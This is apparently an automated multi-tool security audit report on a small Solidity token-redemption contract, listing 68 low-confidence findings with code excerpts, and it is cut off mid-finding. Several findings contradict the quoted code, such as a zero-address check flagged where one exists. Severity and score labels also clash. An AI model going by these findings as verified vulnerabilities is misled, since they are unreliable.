

MIESC

Multi-layer Intelligent Evaluation for Smart Contracts

Smart Contract Security Audit

0914_flatten_Contract_4.sol

Client

Prepared by: **MIESC Security**

Audit Date: **2026-09-14**

Report Date: **2026-09-14 19:13:23**

Version: **1.0**

Network: **Ethereum Mainnet**

CONFIDENTIAL

This document contains confidential security findings and is intended solely for the addressee. Unauthorized distribution is prohibited.

Table of Contents

- 1. Executive Summary
- 2. Scope & Methodology
- 3. Risk Assessment
- 4. Findings Overview
- 5. Detailed Findings
- 6. Remediation Roadmap
- 7. Appendices

1. Executive Summary

1.1 Key Takeaways

2 high-severity vulnerabilities identified, primarily threat model issues. Immediate remediation required before deployment.

1.2 Deployment Recommendation

Recommendation: NO-GO

Contract has 2 high severity vulnerabilities. Fix all high severity issues before deployment.

1.3 Risk Summary

METRIC	VALUE
Overall Risk Score	85/100
Exploitability	Medium
Business Impact	Medium
Confidence Level	Low

Findings by Severity

SEVERITY	COUNT	% OF TOTAL
Critical	0	0.0%
High	2	2.9%
Medium	47	69.1%
Low	10	14.7%
Informational	9	13.2%
Total	68	100%

1.4 Impact Assessment

Based on the identified vulnerabilities:

IMPACT CATEGORY	ASSESSMENT
Confidentiality	Medium - Sensitive data or state could be exposed
Integrity	Medium - Contract state could be manipulated
Availability	Medium - No significant availability risks

2. Scope & Methodology

2.1 Engagement Details

PROPERTY	VALUE
Client	Client
Contract	0914_flatten_Contract_4.sol
Repository	Local Analysis
Commit Hash	N/A
Network	Ethereum Mainnet
Engagement Type	Security Audit

2.2 Scope

In Scope

FILE	LINES	DESCRIPTION
0914_flatten_Contract_4.sol	234	Smart Contract

Total: 1 files, 234 lines of code

Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

Layer 1: Static Analysis	[·	Partial]
Layer 2: Dynamic Testing	[·	Complete]
Layer 3: Symbolic Execution	[	Complete]
Layer 4: Formal Verification	[	Partial]
Layer 5: Property Testing	[--	Not Run]
Layer 6: AI/LLM Analysis	[	Complete]
Layer 7: Pattern Recognition	[	Partial]
Layer 8: DeFi Security	[	Complete]
Layer 9: Advanced Detection	[	Complete]

Tools Utilized

LAYER	TOOL	VERSION	STATUS
Layer 1: Static Analysis	slither	latest	Failed
Layer 1: Static Analysis	aderyn	latest	Success
Layer 1: Static Analysis	solhint	latest	Success
Layer 1: Static Analysis	wake	latest	Success
Layer 1: Static Analysis	semgrep	latest	Success
unknown	fouranalyzer	latest	Success
Layer 2: Dynamic Testing	echidna	latest	Success
Layer 2: Dynamic Testing	medusa	latest	Success

LAYER	TOOL	VERSION	STATUS
Layer 2: Dynamic Testing	foundry	latest	Success
Layer 2: Dynamic Testing	dogefuzz	latest	Success
Layer 2: Dynamic Testing	vertigo	latest	Success
Layer 2: Dynamic Testing	hardhat	latest	Success
Layer 3: Symbolic Execution	mythril	latest	Success
Layer 3: Symbolic Execution	manticore	latest	Success
Layer 3: Symbolic Execution	halmos	latest	Success
Layer 3: Symbolic Execution	oyente	latest	Success
unknown	pakala	latest	Success
Layer 4: Formal Verification	certora	latest	Failed
Layer 4: Formal Verification	smtchecker	latest	Success
Layer 4: Formal Verification	propertygpt	latest	Success
Layer 4: Formal Verification	scribble	latest	Success
unknown	solcmc	latest	Success
Layer 6: AI/LLM Analysis	smartllm	latest	Success
Layer 6: AI/LLM Analysis	gptscan	latest	Success
Layer 6: AI/LLM Analysis	llmsmartaudit	latest	Success
unknown	gptlens	latest	Success
unknown	llamaaudit	latest	Success
unknown	iaudit	latest	Success
Layer 7: ML Detection	dagnn	latest	Success
Layer 7: ML Detection	smartbugs_ml	latest	Success
Layer 7: ML Detection	smartbugs_detector	latest	Success
Layer 7: ML Detection	smartguard	latest	Failed
unknown	peculiar	latest	Success

LAYER	TOOL	VERSION	STATUS
Layer 9: Specialized Analysis	threat_model	latest	Success
Layer 9: Specialized Analysis	gas_analyzer	latest	Success
Layer 8: DeFi Security	mev_detector	latest	Success
Layer 9: Specialized Analysis	contract_clone_detector	latest	Success
Layer 8: DeFi Security	defi	latest	Success
Layer 9: Specialized Analysis	advanced_detector	latest	Success
unknown	upgradability_checker	latest	Success
unknown	crosschain	latest	Success
unknown	zk_circuit	latest	Success
unknown	bridge_monitor	latest	Success
unknown	l2_validator	latest	Success
unknown	circom_analyzer	latest	Success
unknown	llmbugscanner	latest	Success
unknown	audit_consensus	latest	Success
unknown	exploit_synthesizer	latest	Success
unknown	vuln_verifier	latest	Success
unknown	remediation_validator	latest	Success

Audit Process

1. **Initial Assessment** - Review documentation, understand architecture
2. **Automated Analysis** - Execute multi-layer tool suite
3. **Manual Review** - Deep dive into flagged code sections
4. **AI Correlation** - Cross-reference findings, reduce false positives
5. **Verification** - Reproduce and validate vulnerabilities
6. **Report Generation** - Document findings with remediation guidance

2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A

- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

3. Risk Assessment

3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

	LIKELIHOOD		
	Low	Medium	High
High	Medium 0	High 2	Critical 0
Med	Low 0	Medium 47	High 0
Low	Info 9	Low 10	Medium 0
IMPACT →			

3.2 CVSS-like Scoring

FINDING ID	TITLE	BASE SCORE	VECTOR
4NALLY-f865557dbd43	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/ UI:N/C:N/ I:L/A:L
4NALLY-a1183bd0be53	missing_zero_address_check	5.6	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:L
4NALY-b4d31ec116fa	use_of_block_timestamp	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
aderyn-eth-send-unchecked-address-0-0	eth-send-unchecked-address	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
aderyn-reentrancy-state-change-1-0	reentrancy-state-change	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:N/ I:H/A:H
aderyn-reentrancy-state-change-1-1	reentrancy-state-change	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:N/ I:H/A:H
aderyn-large-numeric-literal-2-0	large-numeric-literal	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
aderyn-large-numeric-literal-2-1	large-numeric-literal	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
aderyn-literal-instead-of-constant-3-0	literal-instead-of-constant	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
aderyn-literal-instead-of-constant-3-1	literal-instead-of-constant	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:N
PKL-652a634cf699	fund_extraction	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-f9752ce8ac2a	invariant_violation	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-0f0b33ab5f74	invariant_violation	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-14940ff1e626	invariant_violation	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-4ee7f89d637e	precondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-084e0415a87f	precondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-8d33dc035121	precondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-01fe397c5276	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:N
SCR-6d666a88d083	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-8fa65443b3f4	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-f6f2a34f5d4b	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-371d97b82a51	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-eed0a59cdae6	postcondition_failure	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-349edfeb05e4	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
SCR-92508a6b8e54	state_invariant_break	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-d53b8b4a956c	state_invariant_break	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:N
SCR-4d0530bfd87b	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-49381b299f97	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-c685a089a143	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-6f1e3c8512cf	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-775184081e62	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-5e563829cd24	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-9ff582f55133	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
SCR-a1c5f6e2884d	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:N
SCR-43a990f770e9	missing_annotation_coverage	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
DAGNN-INTEGER_OVERFLOW-cf66906e	ml_detected_vulnerability	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
UNK	bad_randomness	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
UNK	integer_overflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/C:N/ I:H/A:N
SB-SHORT_ADDRESSES-1	Short Address Attack Vulnerability	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
PECULIAR-REENTRANCY-81d359ff-0000	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:N/ I:H/A:H
PECULIAR-REENTRANCY-81d359ff-0001	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:N/ I:H/A:H
PECULIAR-ACCESS_CONTROL-81d359ff-0002	access_control	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:H/ I:H/A:N
THREAT-SPOOFING-7	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-127	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-141	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-160	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-177	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-200	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-SPOOFING-223	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-TAMPERING-90	threat_model	3.1	AV:N/ AC:H/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:N
THREAT-TAMPERING-91	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
THREAT-TAMPERING-92	threat_model	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
GAS-PUBLIC_NOT_EXTERNAL-191	gas_optimization	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
crosschain-insufficient_verification-3433	Cross-chain callback without source verification	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
iaudit-pattern-1	Integer Overflow / Underflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/C:N/ I:H/A:N
iaudit-pattern-2	Timestamp Dependence	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
llamaaudit-pattern-access_control-1	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-2	access_control	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-3	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-4	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-5	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-6	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-7	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-access_control-8	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/C:H/ I:H/A:N
llamaaudit-pattern-unchecked_call-1	unchecked_call	6.6	AV:N/ AC:L/ PR:N/ UI:N/C:N/ I:L/A:L
llamaaudit-pattern-unchecked_call-2	unchecked_call	6.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/C:N/ I:L/A:L
llamaaudit-pattern-timestamp_dependence-1	timestamp_dependence	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N
pattern-arithmetic-53	arithmetic	3.1	AV:N/ AC:H/ PR:L/ UI:N/C:N/ I:L/A:N

Scoring Methodology: - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

3.3 Risk Narrative

The analyzed contract presents security concerns that should be addressed before production deployment. The combination of findings indicates potential for exploitation if left unmitigated.

4. Findings Overview

4.1 Summary Table

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-001	missing_zero_address_check	LOW	36%	1	Open (36% conf.)	5.6
F-002	missing_zero_address_check	LOW	36%	1	Open (36% conf.)	5.6
F-003	use_of_block_timestamp	LOW	36%	1	Open (36% conf.)	3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-004	eth-send-unchecked-address	MEDIUM	57%	1	Open (57% conf.)	3.1
F-005	reentrancy-state-change	HIGH	57%	1	Open (57% conf.)	9.6
F-006	reentrancy-state-change	HIGH	57%	1	Open (57% conf.)	9.6
F-007	large-numeric-literal	LOW	57%	1	Open (57% conf.)	3.1
F-008	large-numeric-literal	LOW	57%	1	Open (57% conf.)	3.1
F-009	literal-instead-of-constant	LOW	57%	1	Open (57% conf.)	3.1
F-010	literal-instead-of-constant	LOW	57%	1	Open (57% conf.)	3.1
F-011	fund_extraction	MEDIUM	36%	1	Open (36% conf.)	3.1
F-012	invariant_violation	MEDIUM	36%	1	Open (36% conf.)	3.1
F-013	invariant_violation	MEDIUM	36%	1	Open (36% conf.)	3.1
F-014	invariant_violation	MEDIUM	36%	1	Open (36% conf.)	3.1
F-015	precondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-016	precondition_failure	MEDIUM	36%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (36% conf.)	
F-017	precondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-018	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-019	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-020	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-021	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-022	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-023	postcondition_failure	MEDIUM	36%	1	Open (36% conf.)	3.1
F-024	access_control_violation	MEDIUM	36%	1	Open (36% conf.)	9.6
F-025	state_invariant_break	MEDIUM	36%	1	Open (36% conf.)	3.1
F-026	state_invariant_break	MEDIUM	36%	1	Open (36% conf.)	3.1
F-027	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-028	missing_annotation_coverage	INFO	20%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (20% conf.)	
F-029	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-030	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-031	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-032	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-033	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-034	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-035	missing_annotation_coverage	INFO	20%	1	Open (20% conf.)	3.1
F-036	ml_detected_vulnerability	MEDIUM	51%	1	Open (51% conf.)	3.1
F-037	bad_randomness	MEDIUM	50%	1	Open (50% conf.)	3.1
F-038	integer_overflow	MEDIUM	22%	1	Open (22% conf.)	6.2
F-039	Short Address Attack Vulnerability	MEDIUM	48%	1	Open (48% conf.)	3.1
F-040	reentrancy	MEDIUM	36%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (36% conf.)	
F-041	reentrancy	MEDIUM	36%	1	Open (36% conf.)	9.6
F-042	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-043	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-044	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-045	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-046	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-047	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-048	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-049	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-050	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-051	threat_model	MEDIUM	36%	1	Open (36% conf.)	3.1
F-052	threat_model	MEDIUM	36%	1		3.1

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (36% conf.)	
F-053	gas_optimization	LOW	36%	1	Open (36% conf.)	3.1
F-054	Cross-chain callback without source verification	MEDIUM	36%	1	Open (36% conf.)	3.1
F-055	Integer Overflow / Underflow	MEDIUM	16%	1	Open (16% conf.)	6.2
F-056	Timestamp Dependence	LOW	36%	1	Open (36% conf.)	3.1
F-057	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-058	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-059	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-060	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-061	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-062	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-063	access_control	MEDIUM	36%	1	Open (36% conf.)	9.6
F-064	access_control	MEDIUM	36%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
					Open (36% conf.)	
F-065	unchecked_call	MEDIUM	36%	1	Open (36% conf.)	6.6
F-066	unchecked_call	MEDIUM	36%	1	Open (36% conf.)	6.6
F-067	timestamp_dependence	LOW	36%	1	Open (36% conf.)	3.1
F-068	arithmetic	MEDIUM	14%	1	Open (14% conf.)	3.1

4.2 Category Distribution

CATEGORY	COUNT	SEVERITY BREAKDOWN
threat_model	10	10 medium
missing_annotation_coverage	9	9 informational
access_control	9	9 medium
postcondition_failure	6	6 medium
invariant_violation	3	3 medium
precondition_failure	3	3 medium
missing_zero_address_check	2	2 low
reentrancy-state-change	2	2 high
large-numeric-literal	2	2 low
literal-instead-of-constant	2	2 low
state_invariant_break	2	2 medium
integer_overflow	2	2 medium

CATEGORY	COUNT	SEVERITY BREAKDOWN
reentrancy	2	2 medium
timestamp_dependence	2	2 low
unchecked_call	2	2 medium
use_of_block_timestamp	1	1 low
eth-send-unchecked-address	1	1 medium
fund_extraction	1	1 medium
access_control_violation	1	1 medium
ml_detected_vulnerability	1	1 medium
bad_randomness	1	1 medium
short_addresses	1	1 medium
gas_optimization	1	1 low
insufficient_verification	1	1 medium
arithmetic	1	1 medium

4.3 Layer Coverage Analysis

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 1: Static Analysis	slither, aderyn, solhint, wake, semgrep	4	1	14	 80%
Layer 2: Dynamic Testing	echidna, medusa, foundry, dogefuzz, vertigo, hardhat	6	0	0	 100%
Layer 3: Symbolic Execution	mythril, manticore, halmos, oyente	4	0	0	 100%
Layer 4: Formal Verification	certora, smtchecker, propertygpt, scribble	3	1	33	 75%
	smartllm, gptscan, llmsmartaudit	3	0	0	 100%

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 6: AI/LLM Analysis					
Layer 7: ML Detection	dagmn, smartbugs_ml, smartbugs_detector, smartguard	3	1	4	 75%
Layer 8: DeFi Security	mev_detector, defi	2	0	0	 100%
Layer 9: Specialized Analysis	threat_model, gas_analyzer, contract_clone_detector, advanced_detector	4	0	11	 100%

5. Detailed Findings

F-001. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:8
Status	Open (36% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

3 |
4 | // src/Contract.sol
5 |

```

```

6 | interface ITremor {
7 |     function totalSupply() external view returns (uint256);
>> 8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //
13 | // | T R E M O
R

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-002. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:127
Status	Open (36% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

122 |     TOKEN_ADDR = _token;
123 |     SUBSIDY_BPS = _subsidyBps;
124 |     wirer = _wirer;
125 | }
126 |
>> 127 | function wire(address _hook, address _market) external {
128 |     if (msg.sender != wirer) revert NotWirer();

```

```

129 |         if (hook != address(0)) revert AlreadyWired();
130 |         if (_hook == address(0) || _market == address(0)) revert
ZeroAddress();
131 |         hook = _hook;
132 |         market = _market;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-003. use_of_block_timestamp

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:190
Status	Open (36% conf.)
Detected By	fouranalyzer

Description

Use of `block.timestamp` for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```

185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
>> 190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- SWC-116
- OWASP Smart Contract Top 10

F-004. eth-send-unchecked-address

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	57%
Location	0914_flatten_Contract_4.sol:200 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-005. reentrancy-state-change

PROPERTY	VALUE
Severity	HIGH
Category	
CVSS Score	9.6
Confidence	57%
Location	0914_flatten_Contract_4.sol:202 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

Vulnerable Code

```

197 |    /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |    ///         allowance to this contract, which is one approval rather than
a
199 |    ///         transfer-then-trust.
200 |    function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |        if (amount == 0) revert NothingToRedeem();
>> 202 |        uint256 supply = TOKEN.totalSupply();
203 |        if (supply == 0) revert NothingToRedeem();
204 |
205 |        ethOut = uint128((uint256(floorPool) * amount) / supply);
206 |        if (ethOut == 0) revert NothingToRedeem();
207 |

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107
- OWASP Smart Contract Top 10

F-006. reentrancy-state-change

PROPERTY	VALUE
Severity	HIGH
Category	
CVSS Score	9.6
Confidence	57%
Location	0914_flatten_Contract_4.sol:210 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

Vulnerable Code

```

205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);
206 |         if (ethOut == 0) revert NothingToRedeem();
207 |
208 |         // burn FIRST, so the supply the next redeemer divides by is already
209 |         // reduced and the floor per token cannot be double-counted
>> 210 |         TOKEN.burnFrom(msg.sender, amount);
211 |         unchecked {
212 |             floorPool -= ethOut;
213 |             redeemedEver += ethOut;
214 |         }
215 |

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Use ReentrancyGuard or checks-effects-interactions pattern

References

- SWC-107
- OWASP Smart Contract Top 10

F-007. large-numeric-literal

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	57%
Location	0914_flatten_Contract_4.sol:120 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Large literal values multiples of 10000 can be replaced with scientific notation. Use `e` notation, for example: `1e18`, instead of its full numeric value.

Vulnerable Code

```

115 |         unlocked_ = 1;
116 |     }
117 |
118 |     constructor(address _token, uint16 _subsidyBps, address _wirer) {
119 |         if (_token == address(0) || _wirer == address(0)) revert
ZeroAddress();
>> 120 |         if (_subsidyBps > 10_000) revert BadConfig();
121 |         TOKEN = ITremor(_token);
122 |         TOKEN_ADDR = _token;
123 |         SUBSIDY_BPS = _subsidyBps;
124 |         wirer = _wirer;
125 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-008. large-numeric-literal

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	57%
Location	0914_flatten_Contract_4.sol:147 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Large literal values multiples of 10000 can be replaced with scientific notation. Use `e` notation, for example: `1e18`, instead of its full numeric value.

Vulnerable Code

```

142 |         if (msg.sender != hook) revert NotHook();
143 |         uint256 accounted = uint256(subsidyPool) + floorPool;
144 |         if (address(this).balance < accounted + amount) {
145 |             revert Unfunded(address(this).balance, accounted + amount);
146 |         }
>> 147 |         uint128 toSub = uint128((uint256(amount) * SUBSIDY_BPS) / 10_000);
148 |         uint128 toFloor = amount - toSub;
149 |         unchecked {
150 |             subsidyPool += toSub;
151 |             floorPool += toFloor;
152 |             creditedEver += amount;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-009. literal-instead-of-constant

PROPERTY	VALUE
Severity	LOW
